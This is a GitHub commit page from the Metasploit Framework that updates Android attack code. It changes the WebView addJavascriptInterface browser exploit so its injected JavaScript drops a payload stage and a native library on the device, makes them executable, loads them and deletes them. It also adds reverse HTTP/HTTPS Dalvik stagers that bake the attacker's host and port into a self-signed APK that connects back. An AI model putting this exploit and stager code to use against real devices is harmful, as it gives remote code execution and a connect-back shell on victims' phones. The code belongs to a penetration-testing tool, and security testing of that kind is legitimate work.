Skip to content

Commit c71d52e

Browse files
committed
Merge branch 'pr-android-bins' of https://github.com/jvennix-r7/metasploit-framework into new-android-bins
2 parents 667bed8 + 8d9630a commit c71d52e

File tree

7 files changed

+182
-42
lines changed

7 files changed

+182
-42
lines changed
-3.01 KB
Binary file not shown.

data/android/apk/res/layout/main.xml

-700 Bytes
Binary file not shown.

lib/msf/core/payload/dalvik.rb

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,5 +31,36 @@ def java_string(str)
3131
[str.length].pack("N") + str
3232
end
3333

34+
def string_sub(data, placeholder="", input="")
35+
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
36+
end
37+
38+
def generate_cert
39+
x509_name = OpenSSL::X509::Name.parse(
40+
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
41+
)
42+
key = OpenSSL::PKey::RSA.new(1024)
43+
cert = OpenSSL::X509::Certificate.new
44+
cert.version = 2
45+
cert.serial = 1
46+
cert.subject = x509_name
47+
cert.issuer = x509_name
48+
cert.public_key = key.public_key
49+
50+
# Some time within the last 3 years
51+
cert.not_before = Time.now - rand(3600*24*365*3)
52+
53+
# From http://developer.android.com/tools/publishing/app-signing.html
54+
# """
55+
# A validity period of more than 25 years is recommended.
56+
#
57+
# If you plan to publish your application(s) on Google Play, note
58+
# that a validity period ending after 22 October 2033 is a
59+
# requirement. You can not upload an application if it is signed
60+
# with a key whose validity expires before that date.
61+
# """
62+
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
63+
return cert, key
64+
end
3465
end
3566

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 30 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -58,9 +58,9 @@ def initialize(info = {})
5858
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
5959
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
6060
],
61-
'Platform' => 'linux',
62-
'Arch' => ARCH_ARMLE,
63-
'DefaultOptions' => { 'PrependFork' => true },
61+
'Platform' => 'android',
62+
'Arch' => ARCH_DALVIK,
63+
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', },
6464
'Targets' => [ [ 'Automatic', {} ] ],
6565
'DisclosureDate' => 'Dec 21 2012',
6666
'DefaultTarget' => 0,
@@ -86,26 +86,45 @@ def on_request_exploit(cli, req, browser)
8686
send_response_html(cli, html)
8787
end
8888

89+
def ndkstager(stagename)
90+
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so')
91+
data = File.read(localfile, :mode => 'rb')
92+
data.gsub!('PLOAD', stagename)
93+
end
94+
8995
def js
96+
stagename = Rex::Text.rand_text_alpha(5)
9097
%Q|
9198
function exec(obj) {
9299
// ensure that the object contains a native interface
93100
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
94101
95102
// get the runtime so we can exec
96103
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
97-
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
104+
var runtime = m.invoke(null, null);
105+
var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
106+
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}";
98107
99108
// get the process name, which will give us our data path
100-
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
109+
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
101110
var ch, path = '/data/data/';
102111
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
103-
path += '/#{Rex::Text.rand_text_alpha(8)}';
104-
105-
// build the binary, chmod it, and execute it
106-
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
107-
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
108-
m.invoke(null, null).exec([path]);
112+
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
113+
var stagePath = path + '/#{stagename}.apk';
114+
var dexPath = path + '/#{stagename}.dex';
115+
116+
// build the library and chmod it
117+
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
118+
runtime.exec(['chmod', '700', libraryPath]).waitFor();
119+
120+
// build the stage, chmod it, and load it
121+
runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
122+
runtime.exec(['chmod', '700', stagePath]).waitFor();
123+
124+
runtime.load(libraryPath);
125+
runtime.exec(['rm', stagePath]).waitFor();
126+
runtime.exec(['rm', libraryPath]).waitFor();
127+
runtime.exec(['rm', dexPath]).waitFor();
109128
110129
return true;
111130
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_http'
8+
9+
module Metasploit3
10+
11+
include Msf::Payload::Stager
12+
include Msf::Payload::Dalvik
13+
14+
def initialize(info = {})
15+
super(merge_info(info,
16+
'Name' => 'Dalvik Reverse HTTP Stager',
17+
'Description' => 'Tunnel communication over HTTP',
18+
'Author' => 'anwarelmakrahy',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'android',
21+
'Arch' => ARCH_DALVIK,
22+
'Handler' => Msf::Handler::ReverseHttp,
23+
'Stager' => {'Payload' => ""}
24+
))
25+
26+
register_options(
27+
[
28+
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
29+
], self.class)
30+
end
31+
32+
def generate_jar(opts={})
33+
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
34+
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
35+
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
36+
37+
jar = Rex::Zip::Jar.new
38+
39+
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
40+
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
41+
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
42+
jar.add_file("classes.dex", fix_dex_header(classes))
43+
44+
files = [
45+
[ "AndroidManifest.xml" ],
46+
[ "resources.arsc" ]
47+
]
48+
49+
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
50+
jar.build_manifest
51+
52+
cert, key = generate_cert
53+
jar.sign(key, cert, [cert])
54+
55+
jar
56+
end
57+
58+
end
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_https'
8+
9+
module Metasploit3
10+
11+
include Msf::Payload::Stager
12+
include Msf::Payload::Dalvik
13+
14+
def initialize(info = {})
15+
super(merge_info(info,
16+
'Name' => 'Dalvik Reverse HTTPS Stager',
17+
'Description' => 'Tunnel communication over HTTPS',
18+
'Author' => 'anwarelmakrahy',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'android',
21+
'Arch' => ARCH_DALVIK,
22+
'Handler' => Msf::Handler::ReverseHttps,
23+
'Stager' => {'Payload' => ""}
24+
))
25+
26+
register_options(
27+
[
28+
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
29+
], self.class)
30+
end
31+
32+
def generate_jar(opts={})
33+
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
34+
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
35+
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
36+
37+
jar = Rex::Zip::Jar.new
38+
39+
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
40+
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
41+
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
42+
jar.add_file("classes.dex", fix_dex_header(classes))
43+
44+
files = [
45+
[ "AndroidManifest.xml" ],
46+
[ "resources.arsc" ]
47+
]
48+
49+
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
50+
jar.build_manifest
51+
52+
cert, key = generate_cert
53+
jar.sign(key, cert, [cert])
54+
55+
jar
56+
end
57+
end

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 6 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -24,10 +24,11 @@ def initialize(info = {})
2424
'Handler' => Msf::Handler::ReverseTcp,
2525
'Stager' => {'Payload' => ""}
2626
))
27-
end
2827

29-
def string_sub(data, placeholder, input)
30-
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
28+
register_options(
29+
[
30+
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
31+
], self.class)
3132
end
3233

3334
def generate_jar(opts={})
@@ -37,44 +38,18 @@ def generate_jar(opts={})
3738

3839
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
3940
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
41+
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
4042
jar.add_file("classes.dex", fix_dex_header(classes))
4143

4244
files = [
4345
[ "AndroidManifest.xml" ],
44-
[ "res", "drawable-mdpi", "icon.png" ],
45-
[ "res", "layout", "main.xml" ],
4646
[ "resources.arsc" ]
4747
]
4848

4949
jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk"))
5050
jar.build_manifest
5151

52-
x509_name = OpenSSL::X509::Name.parse(
53-
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
54-
)
55-
key = OpenSSL::PKey::RSA.new(1024)
56-
cert = OpenSSL::X509::Certificate.new
57-
cert.version = 2
58-
cert.serial = 1
59-
cert.subject = x509_name
60-
cert.issuer = x509_name
61-
cert.public_key = key.public_key
62-
63-
# Some time within the last 3 years
64-
cert.not_before = Time.now - rand(3600*24*365*3)
65-
66-
# From http://developer.android.com/tools/publishing/app-signing.html
67-
# """
68-
# A validity period of more than 25 years is recommended.
69-
#
70-
# If you plan to publish your application(s) on Google Play, note
71-
# that a validity period ending after 22 October 2033 is a
72-
# requirement. You can not upload an application if it is signed
73-
# with a key whose validity expires before that date.
74-
# """
75-
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
76-
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
77-
52+
cert, key = generate_cert
7853
jar.sign(key, cert, [cert])
7954

8055
jar

0 commit comments

Comments
 (0)